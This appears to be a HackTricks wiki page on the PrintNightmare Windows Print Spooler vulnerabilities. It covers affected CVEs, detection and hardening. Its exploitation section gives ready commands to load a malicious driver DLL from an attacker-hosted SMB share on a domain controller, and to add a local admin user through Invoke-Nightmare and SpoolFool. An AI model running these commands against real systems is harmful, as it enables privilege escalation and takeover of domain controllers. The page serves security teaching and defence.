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107 lines
5.3 KiB
Markdown
107 lines
5.3 KiB
Markdown
# PrintNightmare (Windows Print Spooler RCE/LPE)
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{{#include ../../banners/hacktricks-training.md}}
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> PrintNightmare is the collective name given to a family of vulnerabilities in the Windows **Print Spooler** service that allow **arbitrary code execution as SYSTEM** and, when the spooler is reachable over RPC, **remote code execution (RCE) on domain controllers and file servers**. The most-widely exploited CVEs are **CVE-2021-1675** (initially classed as LPE) and **CVE-2021-34527** (full RCE). Subsequent issues such as **CVE-2021-34481 (“Point & Print”)** and **CVE-2022-21999 (“SpoolFool”)** prove that the attack surface is still far from closed.
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---
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## 1. Vulnerable components & CVEs
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| Year | CVE | Short name | Primitive | Notes |
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|------|-----|------------|-----------|-------|
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|2021|CVE-2021-1675|“PrintNightmare #1”|LPE|Patched in June 2021 CU but bypassed by CVE-2021-34527|
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|2021|CVE-2021-34527|“PrintNightmare”|RCE/LPE|AddPrinterDriverEx allows authenticated users to load a driver DLL from a remote share|
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|2021|CVE-2021-34481|“Point & Print”|LPE|Unsigned driver installation by non-admin users|
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|2022|CVE-2022-21999|“SpoolFool”|LPE|Arbitrary directory creation → DLL planting – works after 2021 patches|
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All of them abuse one of the **MS-RPRN / MS-PAR RPC methods** (`RpcAddPrinterDriver`, `RpcAddPrinterDriverEx`, `RpcAsyncAddPrinterDriver`) or trust relationships inside **Point & Print**.
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## 2. Exploitation techniques
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### 2.1 Remote Domain Controller compromise (CVE-2021-34527)
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An authenticated but **non-privileged** domain user can run arbitrary DLLs as **NT AUTHORITY\SYSTEM** on a remote spooler (often the DC) by:
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```powershell
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# 1. Host malicious driver DLL on a share the victim can reach
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impacket-smbserver share ./evil_driver/ -smb2support
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# 2. Use a PoC to call RpcAddPrinterDriverEx
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python3 CVE-2021-1675.py victim_DC.domain.local 'DOMAIN/user:Password!' \
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-f \
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'\\attacker_IP\share\evil.dll'
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```
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Popular PoCs include **CVE-2021-1675.py** (Python/Impacket), **SharpPrintNightmare.exe** (C#) and Benjamin Delpy’s `misc::printnightmare / lsa::addsid` modules in **mimikatz**.
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### 2.2 Local privilege escalation (any supported Windows, 2021-2024)
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The same API can be called **locally** to load a driver from `C:\Windows\System32\spool\drivers\x64\3\` and achieve SYSTEM privileges:
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```powershell
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Import-Module .\Invoke-Nightmare.ps1
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Invoke-Nightmare -NewUser hacker -NewPassword P@ssw0rd!
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```
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### 2.3 SpoolFool (CVE-2022-21999) – bypassing 2021 fixes
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Microsoft’s 2021 patches blocked remote driver loading but **did not harden directory permissions**. SpoolFool abuses the `SpoolDirectory` parameter to create an arbitrary directory under `C:\Windows\System32\spool\drivers\`, drops a payload DLL, and forces the spooler to load it:
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```powershell
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# Binary version (local exploit)
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SpoolFool.exe -dll add_user.dll
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# PowerShell wrapper
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Import-Module .\SpoolFool.ps1 ; Invoke-SpoolFool -dll add_user.dll
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```
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> The exploit works on fully-patched Windows 7 → Windows 11 and Server 2012R2 → 2022 before February 2022 updates
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---
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## 3. Detection & hunting
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* **Event Logs** – enable the *Microsoft-Windows-PrintService/Operational* and *Admin* channels and watch for **Event ID 808** “The print spooler failed to load a plug-in module” or for **RpcAddPrinterDriverEx** messages.
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* **Sysmon** – `Event ID 7` (Image loaded) or `11/23` (File write/delete) inside `C:\Windows\System32\spool\drivers\*` when the parent process is **spoolsv.exe**.
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* **Process lineage** – alerts whenever **spoolsv.exe** spawns `cmd.exe`, `rundll32.exe`, PowerShell or any unsigned binary .
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## 4. Mitigation & hardening
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1. **Patch!** – Apply the latest cumulative update on every Windows host that has the Print Spooler service installed.
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2. **Disable the spooler where it is not required**, especially on Domain Controllers:
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```powershell
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Stop-Service Spooler -Force
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Set-Service Spooler -StartupType Disabled
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```
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3. **Block remote connections** while still allowing local printing – Group Policy: `Computer Configuration → Administrative Templates → Printers → Allow Print Spooler to accept client connections = Disabled`.
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4. **Restrict Point & Print** so only administrators can add drivers by setting the registry value:
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```cmd
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reg add "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint" \
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/v RestrictDriverInstallationToAdministrators /t REG_DWORD /d 1 /f
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```
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Detailed guidance in Microsoft KB5005652
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---
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## 5. Related research / tools
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* [mimikatz `printnightmare`](https://github.com/gentilkiwi/mimikatz/tree/master/modules) modules
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* SharpPrintNightmare (C#) / Invoke-Nightmare (PowerShell)
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* SpoolFool exploit & write-up
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* 0patch micropatches for SpoolFool and other spooler bugs
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---
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**More reading (external):** Check the 2024 walk-through blog post – [Understanding PrintNightmare Vulnerability](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)
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## References
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* Microsoft – *KB5005652: Manage new Point & Print default driver installation behavior*
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<https://support.microsoft.com/en-us/topic/kb5005652-manage-new-point-and-print-default-driver-installation-behavior-cve-2021-34481-873642bf-2634-49c5-a23b-6d8e9a302872>
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* Oliver Lyak – *SpoolFool: CVE-2022-21999*
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<https://github.com/ly4k/SpoolFool>
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{{#include ../../banners/hacktricks-training.md}}
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